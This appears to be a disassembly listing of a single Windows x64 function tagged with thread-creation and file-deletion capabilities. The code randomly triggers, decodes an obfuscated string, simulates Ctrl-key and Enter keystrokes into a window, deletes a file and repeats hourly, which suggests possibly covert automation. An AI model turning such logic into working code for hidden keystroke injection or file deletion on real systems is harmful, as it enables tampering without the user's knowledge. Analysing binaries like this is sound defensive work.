Function at 0x14000cb50
Capabilities:
Create thread
Delete file

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
push r14
push r15
sub rsp, 0xf0
mov r14, r8
mov rsi, rdx
mov rdi, rcx
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov rax, qword [rcx]
movups xmm0, xmmword [rdx]
movaps xmmword [r11 - 0x58], xmm0
movsd xmm1, qword [rdx + 0x10]
movsd qword [r11 - 0x48], xmm1
lea r8, [rsp + 0x30]
lea rdx, [r11 - 0x58]
call qword [rax + 0x50]
test eax, eax
jne 0x14000d05d
mov qword [rsp + 0x128], r15
mov rax, qword [rdi]
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0xd0], xmm0
movsd xmm1, qword [rsi + 0x10]
movsd qword [rsp + 0xe0], xmm1
lea r8, [rsp + 0x128]
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call qword [rax + 0x58]
test eax, eax
jne 0x14000d051
mov rcx, qword [rsp + 0x128]
call fcn.14000e9b0
test al, al
je 0x14000cc13
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9, qword [r14]
lea r8, [0x14000d080]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea r9, [0x140015440]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae r9, qword [0x140015440]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
sub r9, rcx
nop word [rax + rax]
movzx r8d, word [rax]
movzx edx, word [rax + r9]
sub r8d, edx
jne 0x14000cc56
add rax, 2
test edx, edx
jne 0x14000cc40
test r8d, r8d
je 0x14000cc86
lea rdx, [0x1400154c0]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae rdx, qword [0x1400154c0]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x14000cc86
lea rbx, [rax - 1]
jmp 0x14000cde6
mov rcx, qword [rsp + 0x128]
mov rbx, 0xffffffffffffffff
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], r15w
jne 0x14000cca0
test rax, rax
jne 0x14000cde6
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
cmp r8d, 0x1e
jge 0x14000cde6
mov edx, 0x1a
lea rcx, str.___8_rgg___:____f_g_:
call fcn.14000f470
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r15w
mov r8, rbx
inc r8
cmp word [rax + r8*2], r15w
jne 0x14000cd26
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140002b10
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae r8, qword [rsp + 0x58]
mov rdx, rsi
mov rcx, rdi
call fcn.14000ea60
mov rcx, rdi
call fcn.14000ead0
xor r9d, r9d
mov edx, 0x100
lea r8d, [r9 + 0xd]
mov rcx, qword [r14]
call qword [0x140015ae0]
xor r9d, r9d
mov edx, 0x101
lea r8d, [r9 + 0xd]
mov rcx, qword [r14]
call qword [0x140015ae0]
mov byte [0x140015ba4], 1
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x14000cde0
lea rdx, [rdx*2 + 2]
mov qword [rsp + 0x78], rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cddb
add rdx, 0x27
mov qword [rsp + 0x78], rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cddb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.14000b3f0
mov word [rsp + 0x58], r15w
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0x88]
call fcn.14000d830
cmp qword [rsp + 0x98], r15
je 0x14000d036
cmp dword [0x140015bd0], r15d
je 0x14000cee5
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
lea r8d, [r9 + 1]
mov dl, 0x1d
mov cl, 0x11
call qword [0x140015af0]
xor r9d, r9d
lea r8d, [r9 + 1]
mov dl, 0x2f
mov cl, 0x54
call qword [0x140015af0]
xor r9d, r9d
lea r8d, [r9 + 3]
mov dl, 0x2f
mov cl, 0x54
call qword [0x140015af0]
xor r9d, r9d
lea r8d, [r9 + 3]
mov dl, 0x1d
mov cl, 0x11
call qword [0x140015af0]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [0x1400154a0]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae r8, qword [0x1400154a0]
mov rdx, rsi
mov rcx, rdi
call fcn.14000ea60
xor r9d, r9d
mov edx, 0x100
lea r8d, [r9 + 0xd]
mov rcx, qword [r14]
call qword [0x140015ae0]
xor r9d, r9d
mov edx, 0x101
lea r8d, [r9 + 0xd]
mov rcx, qword [r14]
call qword [0x140015ae0]
lea rcx, [0x1400154e0]
cmp qword [0x1400154f8], 0x10
cmovae rcx, qword [0x1400154e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [0x140015bd0], r15d
jmp 0x14000d036
cmp dword [0x140015af8], r15d
je 0x14000cf05
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x140015afc]
cmp eax, 0x36ee80
jbe 0x14000d036
lea rdx, [0x140015460]
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
cmovae rdx, qword [0x140015460]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r15w
mov r8, rbx
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14000cf42
lea rcx, [rsp + 0x38]
call fcn.140002b10
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 8
cmovae rdx, qword [rsp + 0x88]
inc rbx
cmp word [rdx + rbx*2], r15w
jne 0x14000cf70
mov r8, rbx
lea rcx, [rsp + 0x38]
call fcn.140003160
lea r8, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae r8, qword [rsp + 0x38]
mov rdx, rsi
mov rcx, rdi
call fcn.14000ea60
mov rcx, rdi
call fcn.14000ead0
xor r9d, r9d
mov edx, 0x100
lea r8d, [r9 + 0xd]
mov rcx, qword [r14]
call qword [0x140015ae0]
xor r9d, r9d
mov edx, 0x101
lea r8d, [r9 + 0xd]
mov rcx, qword [r14]
call qword [0x140015ae0]
mov dword [0x140015af8], r15d
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x14000d030
lea rdx, [rdx*2 + 2]
mov qword [rsp + 0x80], rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d02b
add rdx, 0x27
mov qword [rsp + 0x80], rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d02b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.14000b3f0
mov word [rsp + 0x38], r15w
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
lea rcx, [rsp + 0x88]
call fcn.1400026c0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r15
pop r14
pop rdi
ret